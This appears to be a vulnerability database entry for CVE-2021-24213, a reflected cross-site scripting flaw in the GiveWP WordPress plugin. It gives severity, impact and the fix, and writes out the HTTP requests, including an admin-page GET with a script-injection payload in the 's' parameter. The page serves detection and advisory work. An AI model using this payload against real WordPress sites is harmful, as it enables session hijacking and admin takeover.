🔙 목록으로 돌아가기

CVE-2021-24213: GiveWP <= 2.9.7 - Cross-Site Scripting

TitleGiveWP <= 2.9.7 - Cross-Site Scripting
AuthorShivam Kamboj
SeverityMedium
ImpactAttackers can execute arbitrary scripts in authenticated admin browsers, potentially leading to session hijacking, privilege escalation, WordPress admin account takeover, malicious plugin installation, and website defacement.
RemediationUpdate GiveWP plugin to version 2.10.0 or later.
CVSS Score6.1
EPSS Score0.03165
CVE IDCVE-2021-24213
CWE IDCWE-79
Tags cve cve2021 wordpress wp wp-plugin give authenticated

🔍 Vulnerability Description

GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress versions before 2.10.0 is vulnerable to Reflected Cross-Site Scripting via the ‘s’ parameter in the admin Donors page.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=gntHKC&pwd=GUZGBZ&wp-submit=Log+In
GET /wp-admin/edit.php?post_type=give_forms&page=give-donors&view=donors&s=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/9.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24213.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24213.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A